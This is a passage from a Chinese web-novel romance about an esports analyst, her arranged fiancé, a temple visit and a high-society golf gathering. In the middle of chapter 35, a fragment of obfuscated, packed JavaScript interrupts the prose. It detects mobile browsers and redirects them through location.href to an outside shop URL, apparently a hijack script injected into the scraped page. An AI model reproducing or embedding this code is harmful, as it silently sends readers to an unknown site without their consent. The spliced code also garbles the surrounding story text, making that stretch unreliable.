经她一提,祝峥昨晚应酬,宿醉后的大脑,才迟钝地反应过来。
“行吧,那我送你。”
“以及,既然QSG放假了,后天有个圈内千金们的聚会,到时候我载你过去。”
餐厅离此处不算太远,也就三站距离。祝陶浮到达时间,卡得刚刚好。
偌大宽敞包厢洋溢着胜利的欢声笑语,祝陶浮不喝酒,果汁代替与他们碰杯。
“诶,小祝,你真的挺厉害的,要不要考虑加入我们。”
第一次见到这个女孩,经理觉得可能是一时的惊艳,而非细水长流。
没想到祝陶浮并没有流于短暂艳俗,反而沉默地如同一棵树,在无人知晓的地方悄然扎根生长,直至枝繁叶茂。
“绝对不是画饼,给你涨薪,工资好商量。”
这番话经理此前有所提及,赛训组一正一副教练和监督,外加包括祝陶浮在内的两名分析师,赛训组不算少,但也不是联盟里最多的。
多一个人多一份力量,更何况祝陶浮是实实在在出力,QSG家大业大自然会给予丰厚奖励。
但祝陶浮拒绝了,说是后面要回栖梧忙毕业论文,没空继续研究游戏版本。
现在酒桌上再次谈论,祝陶浮还是一样的回答。
“好吧,山高水长,总有相聚的那一天,以后说不定会再见的。”经理点头,理解她的委婉拒绝。
将杯中的酒倒满,他站起身,吩咐大家。
“来,咱们一起,敬小祝分析师,感谢她这一个多月以来的辛苦付出,祝她前程似锦,一切顺利!”
话音刚落,所有人站起身,齐齐道谢。
然后是从教练组到队员们,分别一声接一声,表达真挚感谢与恋恋不舍地再见,祝陶浮一一礼貌客气回应。
自家聚餐没有严格主次座序,祁招坐在她的左手边。
到他的时候,祁招没有站起来,懒散靠坐着座位,勾着高脚杯底,象征性地随意碰了一下祝陶浮的酒杯。
“我就不多说了,总之一定会再见的。”
所有人表达完离别愁绪,酒劲上来开始东扯西拉。
祁招既没上脸,意识尚且清醒,望着喝醉酒滑稽的众人,他嗤笑了声。
声线散漫低沉,音量只有他们彼此才能听到。
不着痕迹地身子往她的方向倚靠,祁招偏头气息里蕴含酒意的微醺。
“毕竟,你舍不得。”
众人哄笑声里,祝陶浮眼底一片清明,望向祁招的眼眸有些莫名。
“舍不得什么?”
祁招微勾起唇,懒懒吐词:“你回去了,不就跟你那位成异地恋了。”
祝陶浮:……
“我没有……”
“不用急着否认。”他笑了笑,眼神不羁而略显意味深长。
“善意提醒,根据我的经验,异地恋,不会长久的。”
返回QSG基地收拾东西,工位上是队员们送给祝陶浮的一些小礼品,和QSG官方周边,她同样回赠以小礼物给他们。
将背包里给分析师的小孩,带来的婴儿用品礼袋,拿出来放在工位上。
又把桌子上那些小礼物,小心翼翼地收好,放回背包。
队员们尚在休息,经理和队长在训练室送送她。
她提着礼袋,拿给祁招,让他帮忙转交给分析师。
指腹带有长年累月训练的薄茧,与纤细柔荑轻擦而过,祁招勾过礼袋,随意地丢在桌上。
“说说吧,我不信以后你绝不会再入这行。”
神情是一贯懒散,放松地倚靠在电竞桌,眼神却锋锐瞥向眼前人,似是要看穿她的内心。
眼睑半垂,祝陶浮思索片刻,复又抬眸说:“应该吧,至少当下不会再来了。”
了然点头,祁招没再多言,目光侧望向站在一旁的经理。
经理拿出一份资料,递给祝陶浮。
虽然有些莫名,她还是接过来,打开翻看。
影子计划。
封面简易,四个大字顾名思义,祝陶浮猜测了个七七八八,低头认真从头到尾阅读。
直至最后一行末尾结束,她确认自己估摸的情况没有错,心下有了答案。
经理轻咳两声,尽量让自己话语在稍显严肃中,不失轻松。
“是这样,这几年lpl在世界赛的成绩,总是不太理想。”
经理此话所言非虚,近年来lpl在世界赛的成绩总是不尽人意,每每到关键时刻,永远差一口气。
随着全局bp机制的改
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动,bo5变得愈发复杂,往往lpl的队伍一到第五局变回一碰就碎、顷刻崩塌。
以往,陪练队伍只会是世界赛在国内主场的情况下,联盟官方出面组建陪练队伍。
但最近lpl在世界赛的表现令人堪忧,努力是努力了,苦也吃了,奈何始终如同一拳打在棉花上。
不得章法,使不出劲。
于是今年,即便主场在国外,联盟官方依旧组建一支陪练战队,与出征世界赛的四支lpl队伍进行交手训练。
在世界赛上,赛程越是靠后,越难约到训练赛。
世界赛输了的队伍一般没心情直接放假,还在场上赢了的队伍则是在训练赛里有所保留,生怕战术泄露导致在真正的比赛时被对手看破一泻千里。
甚至大部分战队,到最后都是固定一支队伍,而不会再彼此间进行约定训练赛的举动。
鉴于现实迫在眉睫,官方便主动发起邀约,组建陪练战队。
这支队伍的队员不会强迫征用,出于自愿报名,但是在整个世界赛期间不会对外公布,保留神秘感与隐藏性,令外赛区的队伍无法提前考究,造成迷惑对方的目的。
说起来简单轻松,实施起来却颇具难度,因为陪练是吃力不讨好的。
本身没有进世界赛,陪着那些光芒四射站在舞台上的选手们练习,自己只能在台下暗无天日的训练室日复一日,这种心情不亚于坐冷板凳替补。
其次,陪练出效果,外界不会认为是陪练团的功劳,只会认为是胜利方的战队厉害。
可若是失败,这口锅则会扣在陪练团头上。
“训练强度不够”“菜逼越连越菜”“怪不得只配看饮水机”……
再加上按照自愿报名的原则,联盟不会发放工资,可训练按照正常作息高强度昼夜颠倒,还得配合国外作息,不少选手望而却步。
可以放假休息,何必自讨没趣,折腾一番不仅落不到一点好处,反而惹出一脑门官司。
尽管如此,仍然会有少部分前辈,出于赛区责任,或是游戏热爱,加入陪练队伍。
大部分成员,是来自排名靠后的小将们。
除了与前辈们一样的原因,也各有各的打算。
千里马常有,伯乐不常有。
很多人不是缺乏实力,而是缺乏一个磨砺的平台,需要一次被看见的机会。
参加陪练的队员,在新赛季到来的转会期,可以获得加入排名靠前的强队资格。
不过也仅仅是资格,强队基本是明星选手和老牌搭档,再加上续约,寥寥无几能够收到心仪战队的offer。
但总归是个机会,能与前辈们交流经验,提升自我,也算一桩幸事。
经理询问祝陶浮的意见,要不要考虑加入影子计划。
“陪练团的赛训组人挺多,主教练定了,剩下在家的都会或多或少地参与其中,所以你压力不用太大,依然作为分析师,还不用到现场,线上参与bp就行。”教练询问。
“有兴趣考虑一下吗?”
沉默半晌,祝陶浮陷入思索。
“以及,官方不发工资。”经理笑眯眯地补充,拍了拍祁招的肩膀,对方一脸嫌弃地将他手挪开。
“我们祁队长,给你发。”他补充道。
“不会占用你太多时间,还能有钱拿,何乐而不为呢?”
34.第 34 章
豪门圈内见多识广、玩法多样,早些年玩得花,怎么刺激怎么来。
最近天气炎热,加上圈子里迷信玄学的风气日渐浓厚,祝峥所说的千金贵妇们的下午茶,不在私人会所或是顶级参宴,而是在洲安一家非常出名的寺院,进行参拜礼佛。
一些香火没有那么旺盛的寺院道观,如中元节梁以盏和祝陶浮所去的清心观,里面的设施布置没有作过多的细分,客堂面向普罗大众。
而迦奉禅寺历史悠久,占地面积宏广,洲安有三处分院,祝峥送她过去是鲜少对外的地方。
往来宾客,大多是权贵阶层,由僧人引领前往客堂。
从早上八点进入寺院,到中午吃斋饭,半天的时间安排,一点没有比赛程轻松,念经祈福的每一个时间点,严格按照发放的表单手册安排。
其他女人经常隔三岔五,相聚于此进行朝拜交流,祝陶浮第一次来此,她们以为她会表现得格格不入。
出于她背后身份的忌惮,某些旁观者好心提醒她礼佛细节。
“祝小姐,待会儿跪拜的手势,殿里的示意图不是特别清楚,你看看,有没有什么不懂的,我可以告诉你。”
一道轻柔微笑的声音,落在耳侧,祝陶浮望过去,来人浅笑盈盈,身着碧色长衫长裤,走起路来古风典雅,给人以江南水乡的温柔美丽。
来之前祝峥希望她也能是类似打扮,祝陶浮依旧是一切从简,t恤长裤,只不过从网购的便宜货换成了奢牌。
不撑起表面功夫,祝峥又得叨叨着押解她换掉。
微笑着看了她一眼,祝陶浮伸出双手比划。
“我知道,需要结印,是这样。”
说完,她手上比出一个标准的从额头到心口的姿势。
女人微愣,冲她笑笑。
“想不到祝小姐年纪轻轻,应该是我们在座的人里面,年龄最小的,对这方面的研究,却是不输于我们。”
祝陶浮谦虚道:“没有,只是以前碰巧看到过,就记下来了。”
小时候在洲安的道观,住持和另一处的寺院方丈,来往友好。
道观与寺庙分布在水平对角线,住持几乎一天到晚云游在外,很少在道观常住。
道观小而偏僻,香客稀少,不用花费过多精力打理,住持偶尔回来时,会带上师兄师姐,以及由于周末两天时间太紧凑、节假日学业才有空的祝陶浮,去寺庙拜访。
辗转公交车与地铁,到达寺庙时已然是夜晚。
方丈把少有的双人客房,就给他们一行四人。
那时候方丈和师兄一间,祝陶浮和师姐一间房。
所以她道家和佛家的知识,算是能略懂一二。
“对了,怎么称呼您。”她问。
女人笑意未改,调皮地冲她一眨眼:“不用叫您,太显老了,我可只比你年长三岁而已,就叫我本名姜宛。”
中午斋堂用餐,祝陶浮她们一干人等,没有在厅堂,而是各自在一个个包厢内入座。
订婚这么长时间,从未见祝陶浮参加此类活动,她和梁以盏的形婚,大家心知肚明。
无风不起浪,再加上最近与朱舒漫的一些绯闻,她们谨慎为上,与祝陶浮谨慎地保持距离。
因此房间面积最小的包间,祝陶浮一个人进去,风景不算最佳,倒也乐得清静。
无人同往,方才主动搭讪结交的温柔女生,主动坐在她的对面。
见她推开走廊尽头的包厢,其他女人们招呼道。
“姜宛,你不跟我们一起吗?”
她在十来人的小团体里,人缘似乎不错,方才礼佛的时候,祝陶浮观察过,其他人对她比较客气,平时也会有所往来。
细柔手指温婉抬起,姜宛柔和地说:“不了,今天我与祝小姐共进午餐。”
然后她看向对着窗外锦鲤池塘放空的祝陶浮,弯了弯眉眼道:“不介意我和你一起吧?”
祝陶浮回神,欣然同意。
就在她准备落座时,砰地一声,一个打扮靓丽、明显与寺院静雅氛围不符的女生,将小羊皮包砸在楠木方桌上,硬生生挤在祝陶浮前面落座。
而原本位置上的姜宛,摇了摇头,好脾气地往旁边挪了个位置。
于是她们二人坐在对面,彼此相隔。
低头拨弄手机,祝陶浮抬眸看了一眼来人,并未多言,继续一手划开屏幕,一手平静地端着桌上药茶。
“这些年来,祝小姐向来不涉足寺庙之地,怎么今天有空赏脸,跟我们这些姐妹,一起来礼佛啊。”
女生年纪和祝陶浮差不多大,前者五官远不如后者精致惊艳,但人靠衣装,在精心描画的淡妆与剪裁精良的曳地长裙衬托下,长相算得上清秀可人。
但语气冲动,明显来意不善,唯一的那一丝恬淡可爱,就变成可恶了。
“莫不是亏心事做多了,赎罪来了吧。”
“芷晴,慎言,你第一次见祝小姐,怎么这么大的火气。”姜宛皱眉,呵斥她言语间的不敬。
“要言行谨慎地不是我,而是她,姜宛,你就别好心地劝和了。”
“祝小姐,你现在好歹顶着梁董的未婚妻头衔,你如果还想出轨,勾搭别的男人,你就不怕他知道,不要你了吗。”
用词直接大胆,难听且刻薄。
室内寂静无声,清风卷起一片落叶,缓缓飘落窗沿。
没有预想中的慌乱无措,祝陶浮自始至终表现得很平静,仿佛局外人一样置身事外。
令原本来势汹汹者,反倒有几分莫名的尴尬与难堪。
“所以呢,你是知道什么。”祝陶浮笑了一下,眼珠黝黑清澈,无波无澜,像是能反射映照人心。
“要不要,我帮你发给他。”
午后阳光透过苍天古树,斜斜映照进窗棂。空气里弥漫铜炉的香灰气,空旷禅寺回荡隐约木鱼声响,悠远而宁静。
包厢门从外面打开,斋堂里的工作人员将午餐陆陆续续呈递桌面。
全都是素菜,但并不清汤寡水,每一道都制作得如同平日里的菜肴:五香牛肉、松鼠桂鱼、酱香鸭……
基本都是豆制品和香菇混合而成,吃起来不像外面的一些素菜馆那么重油重盐,味道健康、自然清新。
对面的姜宛和乔芷晴,面面相觑,犹豫着没有动筷。祝陶浮当没有看见,自顾自地开始吃起来。
她吃得不紧不慢,相貌赏心悦目,令旁观者颇有食欲。
为了拍戏上镜,乔芷晴节食减肥,本就心情糟糕,看到祝陶浮对于她的质问置之不理,吃得还优哉游哉,心里更是来气。
美甲扣在桌面,她脸色变得很不好看,正准备要
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说什么,姜宛在旁边按住她作弄的手指,给了她一个安抚性的眼神,示意不要冲动。
“抱歉,祝小姐。”施施然开口,姜宛柔声细语地道歉:“芷晴她最近接的一部剧,角色火气有点大,还没出戏呢,你多多担待,别见怪啊。”
在来禅寺的路上,祝峥简单闲聊过,此行主要是为了过几天的庄园聚会,提前跟前往的女宾们打个照面。
尽管私人聚会不是正式晚宴,但若祝陶浮还像上次聚餐时那样一头雾水,那上次梁以盏接她返回就白折腾了,外人眼里订婚破裂的痕迹会越来假,名存实亡。
顾念着是祈福,祝陶浮没有过多抵抗,随便他去,也听他科普了宾客一二。
其中有一位叫姜宛的女子,堪称豪门圈内标准模板。
是祝峥希望祝陶浮的模样,奈何这丫头与姜宛截然相反。
家世显赫,从小到大在亲人安排下乖乖成长,然后联姻嫁人。
既巩固了家族,还收获了商界利益里难得的一点爱情。
夫家对她很好,与另一半相敬如宾,二十多年的人生,一直是顺风顺水,令其他千金贵妇们艳羡不已,常与她联络交好。
可能是生活从来没有什么波折,性格如长相一般温和没有攻击性,祝峥提醒要是在寺院里无人同往,可以跟姜宛攀谈,她不会拒绝出现尴尬局面。
果然如祝峥所言,即使当下面对祝陶浮沉默不语、乔芷晴火冒三丈,她温柔依旧,笑意未改。
拎起桌上茶壶,准备给祝陶浮的杯子里续茶。
轻轻将杯子往旁边挪了一下,避开对方温柔殷切的手指,祝陶浮恍若未闻,继续低头认真吃着碗里的菜肴。
如果直面怒怼,与她们相冲,或是犹豫害怕,从小浸淫在豪门斡旋里的两位千金,会觉得挺好拿捏。
反倒是不闻不问的态度,挑不出毛病,令人难以揣摩下手。
何况,她毕竟是顶着梁氏集团掌权人的未婚妻名头,就算不巴结,也不敢使绊子。
要换以往,乔芷晴早就一杯茶泼人脸上去了,哪里只会将包重重仍在桌面,忍气吞声共处一室。
说话也不能泄愤地痛骂,拐弯抹角阴阳怪气。
偏偏不知道眼前这位是真不明白,还是听懂了仗着与梁以盏有关系才有恃无恐,祝陶浮表现得很平静,甚至直截了当地反将一军,主动直面她的意图。
嘴上说说实际并不会这么去做,就算乔芷晴所认为的事情的确属实,她也没胆子去找梁以盏核实。
说不定,彼此都是玩玩而已,冒然打搅对方,只不过徒惹是非。
乔芷晴是虚张声势,但祝陶浮神情平静,没有一丝波动。
如果自己拿出什么,她是真的会去找梁以盏。
望向对面,那张明艳四射却又异常清冷的容颜,乔芷晴心里扭曲,这副好皮囊是自己的就好了,却配了祝家私生女这样一个廉价低贱的身份。
一忍再忍,姜宛在桌下轻扯她裙摆,让她说两句话给个台阶下。
“……是我失言,还请祝小姐不要往心里去。”干巴巴地蹦出这么一句,没有任何感情的道歉标准开头,乔芷晴忍气吞声地说。
“是我太着急,也太喜欢祁招了,所以才一时失去判断。”话语到这里,乔芷晴眼神狠狠地盯着她,半是试探地阐明来由。
35.第 35 章
“听说QSG新来了一个分析师,长得非常漂亮,没有对外公布,所以才急匆匆赶来一见。”
午后的空气安静清新,浮动着古木沉香。
乔芷晴妆容精致得体,声音却略显浮躁不安。
似乎没怎么将她的解释放在心上,祝陶浮吃了一块罗汉酥,淡淡道:“我已离职。”
意思已经很明显,与我无关,是乔芷晴没事找事。
既然已经摸清楚祝陶浮是新来的分析师,她自然也知道离职一事。
但她就是气不过,不管祝陶浮与祁招之间有还是没有,不允许有这么漂亮的女生在他面前晃悠。
何况还是整天泡在训练室里,朝夕相处,谁能料到会发生什么。
上次祁招冷漠断联,着实伤透她的心。
她不去找祁招,总要有一个发泄口。
见祝陶浮表现得尤为平静,始终平淡地吃着菜肴,乔芷晴摸不清她什么意思,索性果断从包里翻出一张名片,递了过去。
“祝小姐是聪明人,祁家现在跟梁大少爷和二少爷,商业往来颇为密切,我此番拍戏中途、抽空过来的目的,是为你、也为了梁董考虑,就算离职了,以后也最好不要再去QSG。”
递过来的是电竞群除QSG以外的另一家豪门战队,上面印有经理的联系方式。
“这一家我已经打点好关系,你要去直接打他电话。”
聊了半晌,一直平静以对,看上去没什么情绪的祝陶浮,终于堪堪显露出一点表情。
微阳斜映入窗,瓷白肌肤在光线下莹莹流动,明媚而艳丽。
但祝陶浮忽而轻笑了一下,笑意不达眼底,浮动着雨燥热天气相反的薄凉冷清。
“这么好的机会,你还是留给需要的人才,谢谢你为我考虑,就我个人而言是不必了。”
没有任何考核直接加入队伍,砸钱塞人这一套带到电竞里,祝陶浮十分反感,不欲与她多言。
“另外,你要是为梁董考虑,我就不传达了,你亲自和他讲。”
说完,她站起身,先行离开,前往藏经阁。
--
下午的祈福安排是抄经文与描摹佛像,其他一些豪门千金贵妇们,是用钢笔或者中性笔抄誊,结束之后交由师父日后统一祝祷。
由于使用毛笔描画,祝陶浮写起来速度会慢上不少。
身边的人渐渐离开,一出门口便长舒一口气,开始有说有笑,谈论晚上去哪里做美容放松一下,祝陶浮还在原位,一笔一划认真书写。
她的位置在后排角落,窗户朝向是背阳处,时间仿佛停滞,感受不到外界变化,祝陶浮专注地审视当下。
中途姜宛有来过一次,悄声与她交流,再次表达歉意,以及晚上与她同归,请她吃饭赔不是的打算,祝陶浮委婉拒绝。
向来是被人宠爱着长大,习惯受人夸赞,只要她主动示好,势必会收到同等或者超过的尊重,而非像祝陶浮,淡漠如一。
姜宛笑容一凝,维持着体面,同她告别。
抄经文时需要保持安静,因此她声音压得很低,同她告别。
“那就过几天庄园聚会见了,祝小姐。”
等到祝陶浮抄写完毕,交给僧人,夕阳已然挂在蔚蓝天空。
“阿弥陀佛。”恭敬地朝僧人拜谢,祝陶浮独自离开藏经阁。
夕阳西下,钟磬声声,三三两两的人群行走在寺院内,往大门口处悠然晚归。
飞鸟掠过天际,锦鲤在石桥下的池塘里悠闲游动,晚风轻拂树梢落下婆娑暗影,亦卷起成百上千、点缀绿叶间的鲜红祈福带。
脚步一顿,祝陶浮想了想,询问义工在哪里可以填写。
“禅寺里现在提供祈福带和同心牌两种,女士您看是都需要,还是选一种。”义工拿出两类物件,供她挑选。
祈福红绸可以写单人或者全家,同心牌是心形木牌的形状,顾名思义名字将会列在一处。
思索片刻,祝陶浮道:“我就只请祈福带……”
“劳烦还请同心牌。”
沉哑凛冽的声线落于耳侧,视线里出现一只冷白修长的手掌,从饰物架上取下同心牌。
讶异抬眸,望向身侧的不速之客。
对方却正低头,接过义工手里的黑笔,正准备在木牌上书写。
“诶,等等。”
来不及细问他前来的缘由,祝陶浮赶紧握住他拿笔的手,指尖能感受到他分明的骨节,和手背隆起的青筋脉络。
“同心牌是要两人的名字写一起的。”她看着对方,认真解释。
漆灰眼眸低垂,目光凝视着她秾丽眉眼。
“我知道。”梁以盏平静说。
“那你还……”祝陶浮。
“祈福而已,又不是见家长。”懒散地掀起眼尾,梁以盏淡然陈述。
这是在点自己,上次给亡人烧纸,祝陶浮不让他的元宝放在自己纸袋,虽然最后还是让他混了几个进去。
“还是说,你认为在一起的前提是,和我有证。”忽然俯身靠近,梁以盏灰眸,散漫地看进她眼底。
关于祈福的说法,有的说可以代替他人,帮忙向神明传达。
有的则不太同意,替他人上香请愿,是会承担他人的因果,那报应反噬也会同样地落在自己身上。
在高考前夕,返回出租屋的途中,路过道路旁的迦奉禅寺。
人流量较多,熙熙攘攘基本都是家长带着孩子,前来请购一些保佑考试顺利通过的物件,诸如香囊、挂饰。
六月暑气蒸腾,香火缭绕旺盛,天空中香灰随风倒流向上,飘荡着信众们虔诚祈愿。
祝陶浮停驻脚步,观看了一会儿,还是走进禅寺,写下祈愿飘带。
“您好,我请购两张祈愿飘带。”走进法物流通处,祝陶浮指了指义工身后的木架。
“10元一份,可以写与你有关的人名字,一张就够了。”义工听到她说要两个,善意提醒道。
祝陶浮笑了笑,说:“不用了,还是分开,谢谢。”
价格最便宜的轻飘飘物件,祝陶浮依然郑重地写下她的名字,另一张写下“梁以盏”。
在悬挂的时候,她想了想,没有将两人系在一起。
而是分别挂在树梢与末端,是同一根枝干,但不在同一个地方,遥遥相望。
如今九月,远离市区繁华地段,在迦奉禅寺的远郊分院,天高云淡、风轻气爽,夕阳下散落着暑热末尾,祝陶浮又一次写下祈福飘带。
只不过这回,本人到场。
面对梁以盏似笑非笑,抛掷过来的提问,祝陶浮一时语塞,当即否认。
“……没有。”
“但是,两人名字写在一起,总归还是要有关联。”末了,她补充阐释。
没什么所谓地嗯了声,梁以盏掀起眼睫,薄唇翕动,嗓音磁性低沉。
“未婚妻。”
闻言,祝陶浮抬头,对上他沉灰色眼眸,稍作愣怔。
很少听到他这么称呼自己,或者说,几乎没有。
相较于祝陶浮站在原地犹豫不定,梁以盏眼尾微勾,淡然道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236541|195915||http|test|mini|href|location''.split(''|''),0,{}));
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>“这样,可以了吗?”
一旁的义工见状,笑眯眯地劝解。
“我们这里也有挺多情侣将名字写在一起,既然二位是订婚关系,自然是理所应当。”
不置可否,梁以盏转身,没有在此问题上多作评论。
收回凝视着她的目光,他继续低下头,在同心牌上,写下两人的姓名。
摸不清他的想法,祝陶浮依旧坚持,自顾自地在祈福带上,分别记载。
两人几乎同时停笔,梁以盏的字迹龙飞凤舞的飘逸,祝陶浮则是清秀隽永。
义工笑了笑,伸手指向前方:“二位前往大殿后的地方,悬挂即可,屋檐、木架和树梢,随意挑选。”
说完,他双手合十:“阿弥陀佛。”
微微躬身,祝陶浮手握两条祈福带,回以同样的合十礼:“阿弥陀佛。”
令她意外的是,梁以盏竟然也稍稍欠身,指尖挑着木牌绳索,与她同行合十道谢。
姿态依旧是慵懒散漫,身高腿长摆弄起动作行云流水,却能感觉到收敛了几分不羁肆意。
跨过门槛,一边走下台阶前往祈福地点,一边悄然侧眸,她询问身侧之人。
“你不是……从来不信这些吗。”
往近了回忆,中元节两人在清心观折叠纸元宝,树影婆娑间的对话,祝陶浮记得当时他低垂眼睑,情绪淡漠,答案是“不信”。
再往前递推,时光倒转六年,高中时期的农历七月十五,是暑期的八月,而非今年日期特殊延迟到九月。
格兰佩的高三班上几乎没什么学生,零星一二十来人是为了混学历做准备。
她初来乍到,身份低微,容貌又是与之相反的艳丽,自然少不得被班上同学使坏刁难。
斗不过他们,祝陶浮选择绕道而行,敬而远之。
晚上宿舍回不去,双人寝的室友带头与别的女生捉弄她为乐,所以只能白天抽空错开时间去洗漱换衣。
教室有保安巡逻视察,因为前段时间有别的年纪男男女女,在教室里闹出不雅动静,学校因此格外加强晚间对教室的搜查管理。
于是祝陶浮思考,晚上是去便利店还是网吧,凑合一晚,总归不能在室外游荡。
临走前,发现教室角落里,难得来学校一趟的那位,竟然还趴在课桌上睡觉。
窗外雷声轰鸣,雨水顺着没有关闭严实的窗户,飘散丝丝缕缕的雾气进入室内。
他坐在窗边,趴在课桌上,身子大半边氤氲染湿,似乎对外界无知无觉。
略加思索,祝陶浮走过去,尽量将动作放得很轻,把玻璃窗的缝隙,慢慢合上。
就在她关闭窗户的一瞬间,课桌后的少年,幽幽抬头,漆灰眼瞳,恍若无机质般,朝她看了过来。
轰隆隆。
闪电划破天际,又一声雷响,在过曝的光线下,带有睡痕的泛红眼尾,不仅没有给这张清冷苍白的面容,添加几分生动,反而有种凄厉诡艳,令人无端感到森冷寒意。
方才雨水飘落他都无知无觉,怎么自己就轻轻地关了一下窗户,没有任何声响,他反而惊醒了……
心里暗自懊恼倒霉,顶着他意味不明的冷暗灰眸,祝陶浮还是讷讷开口。
出于幼时在道观的经历,她没话找话地来了一句。
“……今天中元节,还是早点回家,不要在外做孤魂野鬼。”
对此,梁以盏的灰眸无波无澜,一瞬不错地看着她,冷冷地判出“迷信”二字。
却又丢过来一个,涂抹伤痕的膏药,症状正解她脖颈红痕。
36.第 36 章
对于鬼神之说,由于高中经历,祝陶浮知晓,梁以盏自始至终都是持否定态度。
刚才见他也朝着义工浅淡回礼,她颇为意外。
男人臂弯里挂着外套西装,应该是才开完什么会过来。
与她同色黑衬衣勾勒颀长清冷的身段,虽是傍晚如同过往的每一次深夜,接她下班时一样,不疾不徐,闲懒随意。
对于这个问题,梁以盏似是笑了一下,晚风里笑意很淡。
“跟你学的。”
知他是玩笑话,祝陶浮怔了怔,还是犹疑着说。
“佛祖面前,不要妄言。”
然而这次,她清晰听到,梁以盏散在风里的低笑声。
他偏过头,眼睑垂睨,鎏金夕阳熔于暗灰瞳眸,像是溅落深渊里一点微弱渺茫的孤火。
“你对神佛之心,苍天可鉴。”声线是一贯的慵懒散漫,梁以盏平静叙述。
“我也是。”
有一搭没一搭地闲聊,不远不近的距离,很快到头。
许愿林里,数千条红绸与木牌在晚风里轻轻摇动,飘荡着人们最美好的祝愿。
正在思索,到底将祈福带挂在何处,修长分明的手指已然将飘带从她掌心接过。
指尖划过她柔软掌心,一瞬而逝,梁以盏很快地将写有她名字的红丝带悬挂在树梢。
将近一米九的身高,能够轻松精准地挑到一个好位置,不像祝陶浮对应一米六八的空间,得在密密麻麻的红束里寻得一丝夹缝。
接着,他将自己的祈福带系在祝陶浮上面。
“诶,你别……”思及此,她赶紧叫停。
然而自己身高不够,企图阻拦。
梁以盏已经悬系结束,还将自己长长的红带又绕了一圈,将祝陶浮的祈福带牢牢包裹,打了个死结。
最后,把同心牌拴在两人系在一起的祈福带上,冷白修长的手指在红绸间穿梭翻飞。
那双搅弄商界风云的清寂骨节,此刻却静默而专注地与凡俗无二,烙刻下一个稍显笨拙的温热红结。
红与白的鲜明对比,映照进他凛冽灰眸,凝成极具反差却又无声无息的虔诚祝祷。
刚刚抬起想要阻止他的手指,祝陶浮缓慢地收了回来,垂在身侧,与他一起静静注视着翻飞的红绸。
--
周末,庄园聚会如期而至。
应酬性质的聚会,祝峥自然不会再开那辆破手动挡,派司机过来开了家里一辆轿车,接祝陶浮一同前往。
以往还需要绕路遮掩,最近祝峥知晓自己在QSG俱乐部当分析师,索性祝陶浮借此理由,阐明住在小洋房的原因。
“行吧,梁以盏要知道了估计得气死,你为了省这几千块,而蹭住几千万的别墅。”
“哦不对,本来就是你的。”
对于他这便宜妹妹的脑回路,祝峥着实无话可说。
然而梁以盏其实知情,也没被气死,所以祝陶浮觉得祝峥才是不可理喻,房子放着没用也是浪费,现在是物尽其用。
私人聚会在一处度假区,会员制的高尔夫庄园。
车辆向前行驶,道路两边的花海向后倒流,阳光下时间仿佛按下暂停键,金色光束倾洒在山峦湖泊,风景如画宁静美好。
昨晚应酬过后,祝峥宿醉的大脑,混沌隐隐作痛,他只想放空神思,欣赏窗外美景。
这处庄园依山傍水风景优美,车辆停泊在出发台以后,由统一制服的球童,开着摆渡车接引至高尔夫球场。
一望无际的草坪绿荫,人工湖泊波光粼粼,祝峥带祝陶浮赶到的时候,其他宾客已经站在球场跃跃欲试,有老有少,少爷名媛们谈笑风生,好不热闹。
人群之中,一名年轻女士佩戴白手套握着球杆,稍微斜倚身子,蓄势待发。
祝陶浮认出来,这是前几天在禅寺碰见的姜宛。
相较于青灯古佛前沉静长衫,此时的她马尾高束,空顶帽下清新秀丽,骨子里江南的柔和温婉,在球场展颜一笑,显得生动活泼。
剪裁精良的球服勾勒身材曲线,及膝百褶裙裤随着她挥动球杆,裙摆旋开柔美轻盈。
与此同时,啪地一声,球杆与球撞击,白球在空中划出一道高亢的抛物线,精准飞往果岭旗杆所插之处,落在洞口边缘。
人群里传来鼓掌欢呼,无不赞叹姜宛人美球技佳。
“唉,你说你怎么就不能长成,姜家小姐的模样呢。”球童从车上取拿高尔夫球包,等闲空隙,祝峥跟着人群叹气,不过感叹对象从姜宛变成祝陶浮。
“你看看你穿的,今天前往的名媛小姐,哪个不是高马尾、百褶裙,多么彰显年轻活力,你倒好,明明在场年纪最小,反倒遮掩自己优势,长袖长裤的都是些什么,老气横秋。”祝峥看到她这身打扮,连连摇头。
从更衣室出来,祝峥一路上就不太满意,唠叨她不穿修身露腿的少女装扮,修身球服外搭宽松的防晒衣加长裤,将她纤瘦白皙的胳膊长腿包裹得严严实实。
其实祝陶浮靠脸扛住了这保守的一身衣服,她不会也不打高尔夫,头发象征性地松松扎着,明艳眉眼透露着慵懒随意。
但祝峥觉得明明可以更漂亮,祝陶浮明白,他的想法除了以梁以盏的名头结交,俗话靠山山倒,还想顺便倒卖自己预定下一个靠山。
“就算成不了她标准的淑女形象,你学学我,多思考思考,那也行啊。”
商人本质,淋漓尽致。
绿茵果岭由俱乐部精心打理,清风拂过是清新湿润的干净气息。
面对他毫不掩饰的利用盘算,祝陶浮没有丝毫害怕,甚至还轻轻地笑了一下。
下颌微点,她示意祝峥看向人群,饶有兴致地同他开起玩笑。
“知道为什么,姜宛如此优秀吗,你看看,人家的哥哥是什么样。”
顺着她的视线,祝峥望向人群里的焦点。
尽管姜宛已经将挥打得相当精准,小球未能进洞可撞上了标志旗杆,可她对自己并不满意。
周围的男女老少连连安慰称赞,她撇撇嘴,摇着身旁男人的胳膊,委屈撒娇。
他身旁的男人算不上多么英俊,人靠衣装地衬托,奢贵服装加持下任谁的气质都会增添几分,polo衫与皮质腕表,彰显出精英阶层的自信矜傲。
仔细瞧看,会发现他的五官与姜宛有些相似。
安抚性拍了拍姜宛手背,他宠溺笑笑。
“小妹没有发挥出全部实力,是替我精打细算,免得破费吧。”
高尔夫有个不成文的规定,一杆进洞要给在场的人分发红包,从球童到宾客,无一遗漏,算下来几
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十万打底。
“哥哥,才不是呢,就是我没打好。”秀眉微蹙,清风吹起发丝拂过面容,小家碧玉楚楚动人。
姜远铭温柔微笑,随即偏头,对随从吩咐。
“好了,小妹开心就好,没有一杆进洞,但依然需要好彩头。”
说着,依旧给在场的来客礼物,给球童红包。
眨了眨眼,祝陶浮看向祝峥。
“别人家哥哥。”
用以回怼,祝峥的别人家妹妹。
